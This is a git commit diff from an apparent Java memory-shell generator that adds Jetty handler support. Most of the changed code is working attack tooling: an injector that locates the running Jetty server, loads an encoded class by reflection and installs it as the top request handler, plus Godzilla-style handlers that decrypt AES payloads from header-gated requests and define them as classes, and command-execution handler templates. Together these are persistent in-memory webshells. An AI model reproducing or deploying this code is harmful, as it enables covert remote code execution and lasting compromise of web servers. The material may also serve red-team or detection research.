feat: support jetty handler shell

2026-09-21 22:50:42 +08:00 · 2025-12-08 01:43:41 +08:00
parent 2fa3310bf8
commit f4a16e5d37
35 changed files with 901 additions and 113 deletions
@@ -69,7 +69,9 @@ public class ServerFactory {
                .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
                .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
-                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
@@ -140,7 +142,9 @@ public class ServerFactory {
                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
                .addShellClass(AGENT_FILTER_CHAIN, Command.class)
                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
-                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
+                .addShellClass(HANDLER, CommandJettyHandler.class)
+                .addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
@@ -19,13 +19,18 @@ public class ShellType {
    public static final String PROXY_VALVE = "Proxy" + VALVE;
    public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;

+    public static final String HANDLER = "Handler";
+    public static final String JETTY6_HANDLER = "Jetty6Handler";
+    public static final String JETTY_EE_HANDLER = "JettyEEHandler";
+    public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
+
    public static final String NETTY_HANDLER = "NettyHandler";

    public static final String AGENT = "Agent";

    public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
    public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-    public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
+    public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
    public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
    public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -11,6 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.memshell.server.Jetty;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;

@@ -52,6 +53,11 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
            builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
        }

+        if (server instanceof Jetty
+                && (ShellType.HANDLER.equals(shellType) || ShellType.JAKARTA_HANDLER.equals(shellType))) {
+            builder = JettyHandlerGenerator.build(builder, shellConfig.getServerVersion());
+        }
+
        if (shellConfig.isJakarta()) {
            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
        }
@@ -0,0 +1,85 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.buddy.ClassRenameVisitorWrapper;
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.field.FieldDescription;
+import net.bytebuddy.description.field.FieldList;
+import net.bytebuddy.description.method.MethodList;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.MethodVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
+import net.bytebuddy.pool.TypePool;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/2
+ */
+public class JettyHandlerGenerator {
+    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, String serverVersion) {
+        String superClassName = null;
+        DynamicType.Builder<?> newBuilder = builder;
+        if (serverVersion != null) {
+            switch (serverVersion) {
+                case "6":
+                    superClassName = "org/mortbay/jetty/handler/AbstractHandler";
+                    newBuilder = newBuilder.visit(new ClassRenameVisitorWrapper("org/eclipse/jetty/server", "org/mortbay/jetty"));
+                    break;
+                case "7+":
+                    superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
+                    break;
+                case "12":
+                    superClassName = "org/eclipse/jetty/server/Handler$Abstract";
+                    break;
+            }
+        }
+        if (superClassName == null) {
+            throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
+        }
+        String finalSuperClassName = superClassName;
+        return newBuilder.visit(new AsmVisitorWrapper.ForDeclaredMethods() {
+            @Override
+            public ClassVisitor wrap(TypeDescription instrumentedType,
+                                     ClassVisitor classVisitor,
+                                     Implementation.Context implementationContext,
+                                     TypePool typePool,
+                                     FieldList<FieldDescription.InDefinedShape> fields,
+                                     MethodList<?> methods,
+                                     int writerFlags,
+                                     int readerFlags) {
+                return new ClassVisitor(Opcodes.ASM9, classVisitor) {
+                    @Override
+                    public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
+                        super.visit(version, access, name, signature, finalSuperClassName, interfaces);
+                    }
+
+                    @Override
+                    public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                                     String signature, String[] exceptions) {
+
+                        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                        if (!name.equals("<init>")) {
+                            return mv;
+                        }
+                        return new MethodVisitor(Opcodes.ASM9, mv) {
+                            @Override
+                            public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
+                                if (opcode == org.objectweb.asm.Opcodes.INVOKESPECIAL &&
+                                        "java/lang/Object".equals(owner) &&
+                                        "<init>".equals(name)) {
+                                    super.visitMethodInsn(opcode, finalSuperClassName, name, descriptor, isInterface);
+                                } else {
+                                    super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
+                                }
+                            }
+                        };
+                    }
+                };
+
+            }
+        });
+    }
+}
@@ -32,7 +32,13 @@ public class ValveGenerator {

    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
        String packageName = null;
-        if (serverVersion != null) {
+        if (shell instanceof Bes) {
+            packageName = BES_VALVE_PACKAGE;
+        }
+        if (shell instanceof TongWeb) {
+            if (serverVersion == null) {
+                throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
+            }
            switch (serverVersion) {
                case "6":
                    packageName = TONGWEB6_VALVE_PACKAGE;
@@ -43,19 +49,15 @@ public class ValveGenerator {
                case "8":
                    packageName = TONGWEB8_VALVE_PACKAGE;
                    break;
+                default:
+                    throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
            }
        }
-        if (shell instanceof Bes) {
-            packageName = BES_VALVE_PACKAGE;
-        }
-        if (StringUtils.isEmpty(packageName)) {
-            if (shell instanceof TongWeb) {
-                throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
+        if (StringUtils.isNotBlank(packageName)) {
+            return builder.visit(new ValveRenameVisitorWrapper(packageName));
        }
        return builder;
    }
-        return builder.visit(new ValveRenameVisitorWrapper(packageName));
-    }

    public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
        private final String newPackageName;
@@ -0,0 +1,232 @@
+package com.reajason.javaweb.memshell.injector.jetty;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+
+public class JettyHandlerInjector {
+
+    private String msg = "";
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public JettyHandlerInjector() {
+        Object server = null;
+        try {
+            server = getServer();
+        } catch (Throwable throwable) {
+            msg += "server error: " + getErrorMessage(throwable);
+        }
+        if (server != null) {
+            msg += ("server: [" + server + "] ");
+            try {
+                Object shell = getShell(server);
+                inject(server, shell);
+                msg += "[/*] ready\n";
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
+        }
+        System.out.println(msg);
+    }
+
+    public void inject(Object server, Object handler) throws Exception {
+        Object nextHandler = getFieldValue(server, "_handler");
+        if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
+            return;
+        }
+        setFieldValue(handler, "nextHandler", nextHandler);
+        setFieldValue(handler, "_server", server);
+
+        setFieldValue(server, "_handler", handler);
+
+        // jetty6
+        try {
+            invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
+        } catch (Throwable ignored) {
+
+        }
+        // jetty 7/8/9/10/11/12
+        try {
+            invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
+        } catch (Throwable ignored) {
+        }
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    /**
+     * org.eclipse.jetty.server.Server
+     */
+    private Object getServer() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
+                for (int i = 0; i < Array.getLength(table); i++) {
+                    Object entry = Array.get(table, i);
+                    if (entry != null) {
+                        Object threadLocalValue = getFieldValue(entry, "value");
+                        if (threadLocalValue != null) {
+                            if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
+                                return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
+                            }
+                        }
+                    }
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Class<?> clazz = null;
+        try {
+            clazz = classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        }
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (NoSuchMethodException e) {
+            throw e;
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}
@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;

-import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
-import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
-import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
-import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
+import com.reajason.javaweb.memshell.injector.jetty.*;
 import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;

@@ -45,6 +42,8 @@ public class Jetty extends AbstractServer {
                .addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
                .addInjector(SERVLET, JettyServletInjector.class)
                .addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
+                .addInjector(HANDLER, JettyHandlerInjector.class)
+                .addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class)
                .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
                .build();
    }
@@ -0,0 +1,64 @@
+package com.reajason.javaweb.memshell.shelltool.command;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/15
+ */
+public class CommandJettyAgentHandler {
+    private static String paramName;
+
+    @Override
+    public boolean equals(Object obj) {
+        Object[] args = ((Object[]) obj);
+        Object baseRequest = null;
+        Object request = null;
+        Object response = null;
+        if (args.length == 4) {
+            Object arg4 = args[3];
+            baseRequest = args[1];
+            if (arg4 instanceof Integer) {
+                // jetty6
+                request = args[1];
+                response = args[2];
+            } else {
+                request = args[2];
+                response = args[3];
+            }
+        } else {
+            // ee10
+            request = args[0];
+            response = args[1];
+        }
+        try {
+            String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
+            if (p == null || p.isEmpty()) {
+                p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
+            }
+            if (p != null) {
+                String param = getParam(p);
+                InputStream inputStream = getInputStream(param);
+                OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
+                outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                if (baseRequest != null) {
+                    baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
+                }
+                return true;
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+
+    private String getParam(String param) {
+        return param;
+    }
+
+    private InputStream getInputStream(String param) throws Exception {
+        return null;
+    }
+}
@@ -1,37 +1,35 @@
 package com.reajason.javaweb.memshell.shelltool.command;

+import org.eclipse.jetty.server.Handler;
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Response;
+import org.eclipse.jetty.util.Callback;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.Scanner;
+
+import static java.nio.charset.StandardCharsets.UTF_8;

 /**
 * @author ReaJason
- * @since 2025/5/15
+ * @since 2025/11/29
 */
 public class CommandJettyHandler {
    private static String paramName;
+    private Handler nextHandler;

-    @Override
-    public boolean equals(Object obj) {
-        Object[] args = ((Object[]) obj);
-        Object baseRequest = null;
-        Object request = null;
-        Object response = null;
-        if (args.length == 4) {
-            Object arg4 = args[3];
-            baseRequest = args[1];
-            if (arg4 instanceof Integer) {
-                // jetty6
-                request = args[1];
-                response = args[2];
-            } else {
-                request = args[2];
-                response = args[3];
-            }
-        } else {
-            // ee10
-            request = args[0];
-            response = args[1];
+    public CommandJettyHandler() {
    }
+
+    public boolean handle(Object request, Object response) {
        try {
            String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
            if (p == null || p.isEmpty()) {
@@ -41,14 +39,7 @@ public class CommandJettyHandler {
                String param = getParam(p);
                InputStream inputStream = getInputStream(param);
                OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
-                if (baseRequest != null) {
-                    baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
-                }
+                outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
                return true;
            }
        } catch (Throwable e) {
@@ -57,6 +48,51 @@ public class CommandJettyHandler {
        return false;
    }

+    // jetty12
+    public boolean handle(Request request, Response response, Callback callback) throws Exception {
+        try {
+            Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
+            String p = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{paramName});
+            if (p == null || p.isEmpty()) {
+                Object headers = invokeMethod(request, "getHeaders");
+                p = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{paramName});
+            }
+            if (p != null) {
+                String param = getParam(p);
+                InputStream inputStream = getInputStream(param);
+                ByteBuffer content = UTF_8.encode(new Scanner(inputStream).useDelimiter("\\A").next());
+                invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
+                invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
+                return true;
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+        return nextHandler.handle(request, response, callback);
+    }
+
+    // jetty6
+    public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
+        if (handle(request, response)) {
+            invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
+            return;
+        }
+        if (nextHandler != null) {
+            nextHandler.handle(target, request, response, dispatch);
+        }
+    }
+
+    // jetty7+
+    public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
+        if (handle(request, response)) {
+            invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
+            return;
+        }
+        if (nextHandler != null) {
+            nextHandler.handle(target, baseRequest, request, response);
+        }
+    }
+
    private String getParam(String param) {
        return param;
    }
@@ -64,4 +100,35 @@ public class CommandJettyHandler {
    private InputStream getInputStream(String param) throws Exception {
        return null;
    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) {
+        return invokeMethod(obj, methodName, null, null);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
+        }
+    }
 }
@@ -0,0 +1,127 @@
+package com.reajason.javaweb.memshell.shelltool.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.io.PrintWriter;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaJettyAgentHandler extends ClassLoader {
+    private static String key;
+    private static String pass;
+    private static String md5;
+    private static String headerName;
+    private static String headerValue;
+    private static Class<?> payload;
+
+    public GodzillaJettyAgentHandler() {
+    }
+
+    public GodzillaJettyAgentHandler(ClassLoader z) {
+        super(z);
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        Object[] args = ((Object[]) obj);
+        Object baseRequest = null;
+        Object request = null;
+        Object response = null;
+        if (args.length == 4) {
+            Object arg4 = args[3];
+            baseRequest = args[1];
+            if (arg4 instanceof Integer) {
+                // jetty6
+                request = args[1];
+                response = args[2];
+            } else {
+                request = args[2];
+                response = args[3];
+            }
+        } else {
+            // ee10
+            request = args[0];
+            response = args[1];
+        }
+        try {
+            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
+            if (value != null && value.contains(headerValue)) {
+                PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
+                try {
+                    String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
+                    byte[] data = base64Decode(parameter);
+                    data = this.x(data, false);
+                    if (payload == null) {
+                        payload = new GodzillaJettyAgentHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
+                    } else {
+                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                        Object f = payload.newInstance();
+                        f.equals(arrOut);
+                        f.equals(request);
+                        f.equals(data);
+                        f.toString();
+                        writer.write(md5.substring(0, 16));
+                        writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                        writer.write(md5.substring(16));
+                    }
+                    if (baseRequest != null) {
+                        baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
+                    }
+                } catch (Throwable e) {
+                    e.printStackTrace();
+                    writer.write(getErrorMessage(e));
+                }
+                return true;
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        try {
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    public byte[] x(byte[] s, boolean m) throws Exception {
+        Cipher c = Cipher.getInstance("AES");
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+        return c.doFinal(s);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}
@@ -1,51 +1,42 @@
 package com.reajason.javaweb.memshell.shelltool.godzilla;

+import org.eclipse.jetty.server.Handler;
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Response;
+import org.eclipse.jetty.util.Callback;
+
 import javax.crypto.Cipher;
 import javax.crypto.spec.SecretKeySpec;
-import java.io.ByteArrayOutputStream;
-import java.io.PrintStream;
-import java.io.PrintWriter;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+
+import static java.nio.charset.StandardCharsets.UTF_8;

 /**
 * @author ReaJason
+ * @since 2025/11/29
 */
-public class GodzillaJettyHandler extends ClassLoader {
+public class GodzillaJettyHandler {
    private static String key;
    private static String pass;
    private static String md5;
    private static String headerName;
    private static String headerValue;
    private static Class<?> payload;
+    private Handler nextHandler;

    public GodzillaJettyHandler() {
    }

-    public GodzillaJettyHandler(ClassLoader z) {
-        super(z);
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        Object[] args = ((Object[]) obj);
-        Object baseRequest = null;
-        Object request = null;
-        Object response = null;
-        if (args.length == 4) {
-            Object arg4 = args[3];
-            baseRequest = args[1];
-            if (arg4 instanceof Integer) {
-                // jetty6
-                request = args[1];
-                response = args[2];
-            } else {
-                request = args[2];
-                response = args[3];
-            }
-        } else {
-            // ee10
-            request = args[0];
-            response = args[1];
-        }
+    public boolean handle(Object request, Object response) {
        try {
            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
            if (value != null && value.contains(headerValue)) {
@@ -55,7 +46,7 @@ public class GodzillaJettyHandler extends ClassLoader {
                    byte[] data = base64Decode(parameter);
                    data = this.x(data, false);
                    if (payload == null) {
-                        payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
+                        payload = reflectionDefineClass(data);
                    } else {
                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                        Object f = payload.newInstance();
@@ -67,9 +58,6 @@ public class GodzillaJettyHandler extends ClassLoader {
                        writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                        writer.write(md5.substring(16));
                    }
-                    if (baseRequest != null) {
-                        baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
-                    }
                } catch (Throwable e) {
                    e.printStackTrace();
                    writer.write(getErrorMessage(e));
@@ -82,6 +70,127 @@ public class GodzillaJettyHandler extends ClassLoader {
        return false;
    }

+    // jetty12
+    public boolean handle(Request request, Response response, Callback callback) throws Exception {
+        try {
+            Object headers = invokeMethod(request, "getHeaders");
+            String value = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{headerName});
+            if (value != null && value.contains(headerValue)) {
+                StringWriter writer = new StringWriter();
+                try {
+                    Object parameters = Request.class.getMethod("getParameters", Request.class).invoke(null, request);
+                    String parameter = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{pass});
+                    byte[] data = base64Decode(parameter);
+                    data = this.x(data, false);
+                    if (payload == null) {
+                        payload = reflectionDefineClass(data);
+                    } else {
+                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                        Object f = payload.newInstance();
+                        f.equals(arrOut);
+                        f.equals(request);
+                        f.equals(data);
+                        f.toString();
+                        writer.write(md5.substring(0, 16));
+                        writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                        writer.write(md5.substring(16));
+                    }
+                } catch (Throwable e) {
+                    e.printStackTrace();
+                    writer.write(getErrorMessage(e));
+                }
+                invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
+                ByteBuffer content = UTF_8.encode(writer.toString());
+                invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
+                return true;
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+        return nextHandler.handle(request, response, callback);
+    }
+
+    // jetty6
+    public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
